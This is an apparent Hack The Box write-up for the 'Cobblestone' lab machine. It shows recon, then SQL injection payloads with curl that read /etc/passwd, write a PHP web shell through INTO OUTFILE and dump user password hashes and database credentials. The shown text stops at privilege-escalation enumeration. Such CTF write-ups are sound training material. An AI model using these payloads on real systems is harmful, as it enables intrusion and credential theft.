Image

Introduction

Cobblestone is an insane-level Linux lab machine in the Hack The Box platform.

Attack chain overview

vote.cobblestone.htb/suggest.php authenticated endpoint
    |
    | SQL injection
    v
cobblestone.htb/skins/ writable directory
    |
    | PHP database enumeration payload
    v
SSH foothold as cobble
    |
    | Cobbler XML-RPC CVE-2024-47533 authentication bypass
    v
Cobbler daemon
    |
    | Rsync command injection via XML-RPC
    v
Root shell

Recon and enumeration

Using Nmap to enumerate ports and services on the machine:

# Nmap 7.95 scan initiated Sat Aug  9 21:02:37 2025 as: /usr/lib/nmap/nmap --privileged -vv -sC -sV -T4 -oA cobblestone 10.129.152.37
Nmap scan report for 10.129.152.37
Host is up, received echo-reply ttl 63 (0.029s latency).
Scanned at 2025-08-09 21:02:37 CEST for 8s
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 50:ef:5f:db:82:03:36:51:27:6c:6b:a6:fc:3f:5a:9f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBBCfBUkQ4szy00s+EbTzIMq4Cv/mOkGWCD8xewIgvZ4zDI5pPhUaVYNsPaUmYzXgi0DzCy6s//8a1YFcyH398Nc=
|   256 e2:1d:f3:e9:6a:ce:fb:e0:13:9b:07:91:28:38:ec:5d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICuDtua7ciUfRA2uUH+ergsCOdq0Aaoakru1kQ9/OWPs
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://cobblestone.htb/
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  9 21:02:45 2025 -- 1 IP address (1 host up) scanned in 8.33 seconds

Results reveal only two ports open:

  • OpenSSH server behind port 22
  • Apache2 serving a webpage through HTTP on port 80.

Web enumeration

Apache2 serves a Minecraft-styled website:

Image

Using Dirsearch to enumerate the directory structure of the default virtual host:

janne808@kali:/opt/hackthebox/cobblestone$ dirsearch -u http://cobblestone.htb -x 403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /opt/hackthebox/cobblestone/reports/http_cobblestone.htb/_26-08-19_17-06-18.txt

Target: http://cobblestone.htb/

[17:06:18] Starting: 
[17:06:19] 301 -  315B  - /js  ->  http://cobblestone.htb/js/              
[17:06:29] 200 -   56B  - /composer.json                                   
[17:06:29] 200 -   14KB - /composer.lock                                   
[17:06:30] 301 -  316B  - /css  ->  http://cobblestone.htb/css/            
[17:06:30] 301 -  315B  - /db  ->  http://cobblestone.htb/db/              
[17:06:30] 200 -    0B  - /download.php                                    
[17:06:33] 301 -  316B  - /img  ->  http://cobblestone.htb/img/            
[17:06:33] 301 -  323B  - /javascript  ->  http://cobblestone.htb/javascript/
[17:06:34] 200 -    1KB - /login.php                                       
[17:06:34] 302 -    0B  - /logout.php  ->  login.php                       
[17:06:38] 200 -    0B  - /register.php                                    
[17:06:40] 302 -   81B  - /skins.php  ->  login.php                        
[17:06:40] 301 -  318B  - /skins  ->  http://cobblestone.htb/skins/        
[17:06:41] 301 -  322B  - /templates  ->  http://cobblestone.htb/templates/
[17:06:42] 200 -    0B  - /vendor/composer/autoload_real.php               
[17:06:42] 200 -    0B  - /vendor/composer/autoload_files.php
[17:06:42] 200 -    0B  - /vendor/composer/autoload_classmap.php
[17:06:42] 200 -    0B  - /vendor/composer/ClassLoader.php
[17:06:42] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[17:06:42] 200 -    0B  - /vendor/composer/autoload_static.php
[17:06:42] 200 -    1KB - /vendor/composer/LICENSE
[17:06:42] 200 -    0B  - /vendor/composer/autoload_psr4.php
[17:06:42] 200 -    0B  - /vendor/autoload.php
[17:06:42] 200 -   14KB - /vendor/composer/installed.json                  
                                                                            
Task Completed

/skins.php redirects to /login.php, further exploration reveals a login/register mechanism that ends up in a dashboard:

Image

“Suggest Skin” tab opens a POST endpoint for uploading custom Minecraft character skins:

Image

Further, enumerating virtual hosts with FFUF:

janne808@kali:/opt/hackthebox/cobblestone$ ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://cobblestone.htb/ -H 'Host: FUZZ.cobblestone.htb' -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cobblestone.htb/
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.cobblestone.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

deploy                  [Status: 200, Size: 1745, Words: 121, Lines: 52, Duration: 28ms]

Inspecting the default virtual host index for links:

janne808@kali:/opt/hackthebox/cobblestone$ curl -s cobblestone.htb | grep '<a href="http://.*.cobblestone.htb"'
			<a href="http://deploy.cobblestone.htb" class="item forums">
			<a href="http://vote.cobblestone.htb" class="item vote">

Looking at the subdomains deploy.cobblestone.htb and vote.cobblestone.htb:

Image

Image

The vhost vote.cobblestone.htb looks interesting and merits a closer look for possible attack surface:

janne808@kali:/opt/hackthebox/cobblestone$ dirsearch -u http://vote.cobblestone.htb -x 403

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /opt/hackthebox/cobblestone/reports/http_vote.cobblestone.htb/_26-08-19_17-09-30.txt

Target: http://vote.cobblestone.htb/

[17:09:30] Starting: 
[17:09:33] 301 -  325B  - /js  ->  http://vote.cobblestone.htb/js/         
[17:09:41] 200 -   56B  - /composer.json                                   
[17:09:41] 200 -   14KB - /composer.lock                                   
[17:09:42] 301 -  326B  - /css  ->  http://vote.cobblestone.htb/css/       
[17:09:42] 301 -  325B  - /db  ->  http://vote.cobblestone.htb/db/         
[17:09:44] 200 -    1KB - /favicon.ico                                     
[17:09:45] 301 -  326B  - /img  ->  http://vote.cobblestone.htb/img/       
[17:09:46] 301 -  333B  - /javascript  ->  http://vote.cobblestone.htb/javascript/
[17:09:47] 200 -    1KB - /login.php                                       
[17:09:47] 302 -    0B  - /logout.php  ->  login.php                       
[17:09:53] 200 -    0B  - /register.php                                    
[17:09:56] 301 -  332B  - /templates  ->  http://vote.cobblestone.htb/templates/
[17:09:57] 200 -    0B  - /vendor/autoload.php                             
[17:09:57] 200 -    0B  - /vendor/composer/autoload_psr4.php               
[17:09:57] 200 -    0B  - /vendor/composer/autoload_namespaces.php
[17:09:57] 200 -    0B  - /vendor/composer/autoload_classmap.php
[17:09:57] 200 -    0B  - /vendor/composer/autoload_static.php
[17:09:57] 200 -    0B  - /vendor/composer/autoload_files.php              
[17:09:57] 200 -    0B  - /vendor/composer/autoload_real.php
[17:09:57] 200 -    1KB - /vendor/composer/LICENSE
[17:09:57] 200 -    0B  - /vendor/composer/ClassLoader.php
[17:09:57] 200 -   14KB - /vendor/composer/installed.json                  
                                                                            
Task Completed

Collecting the findings:

Virtual host Contents
cobblestone.htb Default PHP landing page
deploy.cobblestone.htb Page listing project developers and admins by name and expertise
vote.cobblestone.htb PHP login page for the beta version of the ‘voting’ functionality

From these the natural step is to focus on the one with the most attack surface: vote.cobblestone.htb vhost.

Web SQL injection vulnerability

Registering with /register.php reveals a dashboard:

Image

Image

Entering a URL with a classic SQL injection test results in a 500 error:

Image

Further, after adding a SQL comment the request succeeds with a 200 code but without output from the SQL statement. This is an indication of a possible injection attack vector:

Image

Confirming the 5-column injection (you can use well-known techniques such as ORDER BY scanning or incrementing columns of a UNION SELECT statement to establish this) with curl (note the ANSI-C quoting with $’’ to enable escaping single quotes): It is possible to read files with LOAD_FILE() with the following payload

url=test' UNION SELECT 1,1,1,1,LOAD_FILE('/etc/passwd')-- -
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT 1,1,1,1,LOAD_FILE(\'/etc/passwd\')-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->


<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Server Details</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">

    <link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/all.min.css">
	<link rel="stylesheet" href="css/stylesheet.css">

</head>
<body>
	<div class="container-fluid">
        
                <div class="mt-4">
                    <div class="card mt-4">
                      <div class="card-header">
                        Suggestion #1 - 1
                      </div>
                      <div class="card-body">
                      <h6 class="card-subtitle mb-2 text-body-secondary">Approved: false</h6>
                      <p class="card-text">Owner-ID: 1 - Votes: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
john:x:1001:1001:,,,:/home/john:/bin/bash
</p>
                      </div>
                    </div>
                </div>
                        <a class="btn btn-light mt-4" href="index.php">back</a>
	</div>

    <script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>

Extracting information about the Apache2 config with the injection payload:

url=test' UNION SELECT 1,1,1,1,LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf')-- -
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT 1,1,1,1,LOAD_FILE(\'/etc/apache2/sites-enabled/000-default.conf\')-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->


<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Server Details</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">

    <link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/all.min.css">
	<link rel="stylesheet" href="css/stylesheet.css">

</head>
<body>
	<div class="container-fluid">
        
                <div class="mt-4">
                    <div class="card mt-4">
                      <div class="card-header">
                        Suggestion #1 - 1
                      </div>
                      <div class="card-body">
                      <h6 class="card-subtitle mb-2 text-body-secondary">Approved: false</h6>
                      <p class="card-text">Owner-ID: 1 - Votes: <VirtualHost *:80>
	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]
	ServerName 127.0.0.1
	ProxyPass "/cobbler_api" "http://127.0.0.1:25151/"
	ProxyPassReverse "/cobbler_api" "http://127.0.0.1:25151/"
</VirtualHost>

<VirtualHost *:80>
	ServerName cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/html

	<Directory /var/www/html>
		AAHatName cobblestone
	</Directory>

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^cobblestone.htb$
	RewriteRule /.* http://cobblestone.htb/ [R]

	Alias /cobbler /srv/www/cobbler

	<Directory /srv/www/cobbler>
		Options Indexes FollowSymLinks
		AllowOverride None
		Require all granted
	</Directory>

</VirtualHost>

<VirtualHost *:80>
	ServerName deploy.cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/deploy

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^deploy.cobblestone.htb$
	RewriteRule /.* http://deploy.cobblestone.htb/ [R]
</VirtualHost>

<VirtualHost *:80>
	ServerName vote.cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/vote

	RewriteEngine On
	RewriteCond %{HTTP_HOST} !^vote.cobblestone.htb$
	RewriteRule /.* http://vote.cobblestone.htb/ [R]
</VirtualHost>
</p>
                      </div>
                    </div>
                </div>
                        <a class="btn btn-light mt-4" href="index.php">back</a>
	</div>

    <script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>

From here it’s possible to extract the website PHP code or further enumerate the server configuration.

Next step is to check if it’s possible to get code execution by writing a PHP shell with the SQL injection. It is reasonable to expect that the /var/www/html/skins/ directory is writable per the http://cobblestone.htb/skins.php functionality discovered in enumeration.

url=test' UNION SELECT '<?php echo "test";?>',NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/skins/test999.php'-- -'
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT \'<?php echo "test";?>\',NULL,NULL,NULL,NULL INTO OUTFILE \'/var/www/html/skins/test999.php\'-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->


<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Server Details</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">

    <link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/all.min.css">
	<link rel="stylesheet" href="css/stylesheet.css">

</head>
<body>
	<div class="container-fluid">
        None        <a class="btn btn-light mt-4" href="index.php">back</a>
	</div>

    <script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
janne808@kali:/opt/hackthebox/cobblestone$ curl http://cobblestone.htb/skins/test999.php
test	\N	\N	\N	\N

So, it is possible to run PHP code and gain RCE:

url=test' UNION SELECT '<?php $cmd = ($_GET["cmd"]); system($cmd); die; ?>',NULL,NULL,NULL,NULL INTO OUTFILE '/var/www/html/skins/shell.php'-- -
janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT \'\<\?php \$cmd = \(\$_GET\[\"cmd\"\]\)\; system\(\$cmd\)\; die\; \?\>\',NULL,NULL,NULL,NULL INTO OUTFILE \'/var/www/html/skins/shell.php\'-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->


<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Server Details</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">

    <link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/all.min.css">
	<link rel="stylesheet" href="css/stylesheet.css">

</head>
<body>
	<div class="container-fluid">
        None        <a class="btn btn-light mt-4" href="index.php">back</a>
	</div>

    <script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=whoami'
www-data

Shell foothold

Next step is gaining a proper shell foothold on the system.

Discovering the cobblestone.htb/skins.php SQL database credentials from the PHP code:

janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=ls+-al+../'
total 116
drwxr-xr-x 10 root root  4096 Aug 10  2025 .
drwxr-xr-x  5 root root  4096 Aug 19 12:05 ..
-rw-r--r--  1 root root    56 Sep 27  2024 composer.json
-rw-r--r--  1 root root 13867 Sep 27  2024 composer.lock
drwxr-xr-x  2 root root  4096 Apr 23  2025 css
drwxr-xr-x  2 root root  4096 Oct  1  2024 db
-rw-r--r--  1 root root   611 Sep 30  2024 download.php
drwxr-xr-x  2 root root  4096 Oct  1  2024 img
-rw-r--r--  1 root root  1942 Oct  1  2024 index.php
drwxr-xr-x  2 root root  4096 Oct  1  2024 js
-rw-r--r--  1 root root  6269 Apr 24  2025 login.php
-rw-r--r--  1 root root  1268 Apr 23  2025 login_verify.php
-rw-r--r--  1 root root   101 Sep 27  2024 logout.php
-rw-r--r--  1 root root   493 Apr 24  2025 preview_banner.php
-rw-r--r--  1 root root  2062 Apr 28  2025 register.php
drwxr-xrwx  2 root root  4096 Aug 19 12:06 skins
-rw-r--r--  1 root root  7445 Apr 28  2025 skins.php
-rw-r--r--  1 root root   255 Apr 28  2025 skins_app_admin_server_info.php
-rw-r--r--  1 root root  1056 Apr 24  2025 suggest_skin.php
drwxr-xr-x  2 root root  4096 Apr 28  2025 templates
-rw-r--r--  1 root root  3202 Aug 10  2025 upload.php
-rw-r--r--  1 root root  3267 Apr 28  2025 user.php
drwxr-xr-x  5 root root  4096 Sep 27  2024 vendor
drwxr-xr-x  2 root root  4096 Sep 27  2024 webfonts
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=ls+-al+../db/'
total 12
drwxr-xr-x  2 root root 4096 Oct  1  2024 .
drwxr-xr-x 10 root root 4096 Aug 10  2025 ..
-rw-r--r--  1 root root  303 Oct  1  2024 connection.php
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/shell.php?cmd=cat+../db/connection.php'
<?php

$dbserver = "localhost";
$username = "dbuser";
$password = "aichooDeeYanaekungei9rogi0eMuo2o";
$dbname = "cobblestone";

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn->connect_errno > 0) {
    die("Connection failed: " . $conn->connect_error);
}
?>

The web shell seems to be restricted, for example it is not possible to list /etc/ directory for enumeration. It is also not possible to upgrade the web shell into a reverse shell for some strange reason.

AppArmor access control

Looking back at the Apache2 site config:


...

<VirtualHost *:80>
	ServerName cobblestone.htb

	ServerAdmin cobble@cobblestone.htb
	DocumentRoot /var/www/html

	<Directory /var/www/html>
		AAHatName cobblestone
	</Directory>

...

The reason for these strange restrictions is revealed to be the AAHatName cobblestone directive in the cobblestone.htb VirtualHost block: The configuration is applying a AppArmor hat subprofile for the /var/www/html directory using the mod_apparmor module (see https://apparmor.net/man/master/mod_apparmor/).

Notably, no other VirtualHost block has the AppArmor subprofile applied. This means it’s probably possible to write a PHP webshell under these blocks’ DocumentRoot directories, if they are indeed writable by the database process.

The path taken in the writeup however manages to work within the access control limitations by accessing SQL data directly with PHP code.

PHP database enumeration payload

There is limited space in the SQL injection but it is possible to run a tight PHP code payload to enumerate the database by re-using the site code with an include to establish the database connection:

<?php include("../db/connection.php");$r=$conn->query("SELECT username,password FROM users"); while($a=$r->fetch_array()){var_dump($a);};?>

Running the injection and writing the payload under /var/www/html/skins/ directory as dbenum.php:

janne808@kali:/opt/hackthebox/cobblestone$ curl -s -X POST http://vote.cobblestone.htb/suggest.php -L -H 'Cookie: PHPSESSID=n50mleu7d6t8jhvf3plp71l8j9' -H 'Content-Type: application/x-www-form-urlencoded' -d $'url=test\' UNION SELECT \'\<\?php include(\"..\/db\/connection.php\")\;\$r=\$conn-\>query(\"SELECT username,password FROM users\")\; while(\$a=\$r\-\>fetch_array())\{var_dump(\$a)\;\}\;\?\>\',NULL,NULL,NULL,NULL INTO OUTFILE \'/var/www/html/skins/dbenum.php\'-- -'
<!-- Proudly coded by Billy (https://bybilly.uk) -->
<!-- Version: 1.9.2 -->


<!DOCTYPE html>
<html>
<head>
	<!-- Info meta tags, important for social media + SEO -->
	<title>Cobblestone - Server Details</title>

	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta charset="utf-8">

    <link rel="stylesheet" href="css/bootstrap.min.css">
	<link rel="stylesheet" href="css/all.min.css">
	<link rel="stylesheet" href="css/stylesheet.css">

</head>
<body>
	<div class="container-fluid">
        None        <a class="btn btn-light mt-4" href="index.php">back</a>
	</div>

    <script src="js/bootstrap.bundle.min.js" type="text/javascript"></script>
	<script src="js/jquery.min.js" type="text/javascript"></script>
	<script src="js/firefly.js" type="text/javascript"></script>
	<script src="js/main.js" type="text/javascript"></script>
</body>
</html>
janne808@kali:/opt/hackthebox/cobblestone$ curl 'http://cobblestone.htb/skins/dbenum.php'
array(4) {
  [0]=>
  string(5) "admin"
  ["username"]=>
  string(5) "admin"
  [1]=>
  string(64) "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1"
  ["password"]=>
  string(64) "f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1"
}
array(4) {
  [0]=>
  string(6) "cobble"
  ["username"]=>
  string(6) "cobble"
  [1]=>
  string(64) "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d"
  ["password"]=>
  string(64) "20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d"
}
array(4) {
  [0]=>
  string(4) "test"
  ["username"]=>
  string(4) "test"
  [1]=>
  string(64) "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
  ["password"]=>
  string(64) "9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08"
}
	\N	\N	\N	\N

Using for example http://crackstation.net to crack the SHA256 hashes reveals the credentials cobble:iluvdannymorethanyouknow, which turns out to be re-used for SSH:

janne808@kali:/opt/hackthebox/cobblestone$ ssh cobble@cobblestone.htb
cobble@cobblestone.htb's password: 
Linux cobblestone 6.1.0-47-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.170-3 (2026-05-08) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:101:109:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:102:65534::/run/sshd:/usr/sbin/nologin
cobble:x:1000:1000:cobble,,,:/home/cobble:/home/cobble/bin/rbash
mysql:x:103:112:MySQL Server,,,:/nonexistent:/bin/false
tftp:x:104:113:tftp daemon,,,:/srv/tftp:/usr/sbin/nologin
cobble@cobblestone:~$ ls -al
total 32
drwx------ 3 cobble cobble 4096 Jul 24  2025 .
drwxr-xr-x 3 root   root   4096 Jul 24  2025 ..
-rwx------ 1 root   root      1 Oct  1  2024 .bash_history
-rwx------ 1 cobble cobble  220 Oct  1  2024 .bash_logout
-rwx------ 1 cobble cobble 3526 Oct  1  2024 .bashrc
-rwx------ 1 cobble cobble  807 Oct  1  2024 .profile
drwx------ 2 cobble cobble 4096 Jul 24  2025 .ssh
-rw-r----- 2 root   cobble   33 Aug 19 13:49 user.txt

Privilege escalation

Unfortunately user cobble is configured to run rbash, a shell that can be configured to restrict the access user has on the system as it is in this case.

It is however possible to enumerate running processes and listening ports:

cobble@cobblestone:~$ ps auxww | grep root                                                                                                            
root           1  0.6  0.3 102424 12496 ?        Ss   13:49   1:36 /sbin/init
root           2  0.0  0.0      0     0 ?        S    13:49   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   13:49   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   13:49   0:00 [rcu_par_gp]

...

root         464  0.0  0.2  52376 10836 ?        Ss   13:49   0:00 /usr/bin/VGAuthService
root         468  0.0  0.3 242092 12028 ?        Ssl  13:49   0:13 /usr/bin/vmtoolsd
root         642  0.1  0.1  90052  5716 ?        R<sl 13:49   0:20 /sbin/auditd
root         744  0.0  0.0      0     0 ?        S    13:49   0:00 [audit_prune_tree]
root         794  0.0  0.0   5872  3544 ?        Ss   13:49   0:00 dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root         835  0.0  0.0   6612  2700 ?        Ss   13:49   0:00 /usr/sbin/cron -f
root         842  0.0  0.1  17020  7836 ?        Ss   13:49   0:05 /lib/systemd/systemd-logind
root         868  0.0  0.1  16544  5828 ?        Ss   13:49   0:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root         991  0.0  1.7 145084 69488 ?        Ss   13:49   0:03 /usr/bin/python3 /usr/local/bin/cobblerd -F
root         993  0.0  0.9 271744 38168 ?        Ss   13:49   0:01 php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
root        1006  0.0  0.0   5876  1004 ?        Ss+  13:49   0:00 /sbin/agetty -o -p -- \u --noclear - linux
root        1030  0.0  0.0   4664   280 ?        Ss   13:49   0:00 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp
root        1113  0.0  1.0 282072 40128 ?        Ss   13:49   0:02 /usr/sbin/apache2 -k start

...

cobble@cobblestone:~$ ss -tlpn                                                                                                                        
State            Recv-Q           Send-Q                       Local Address:Port                        Peer Address:Port           Process           
LISTEN           0                5                                127.0.0.1:25151                            0.0.0.0:*                                
LISTEN           0                80                               127.0.0.1:3306                             0.0.0.0:*                                
LISTEN           0                128                                0.0.0.0:22                               0.0.0.0:*                                
LISTEN           0                511                                0.0.0.0:80                               0.0.0.0:*                                
LISTEN           0                128                                   [::]:22                                  [::]:*

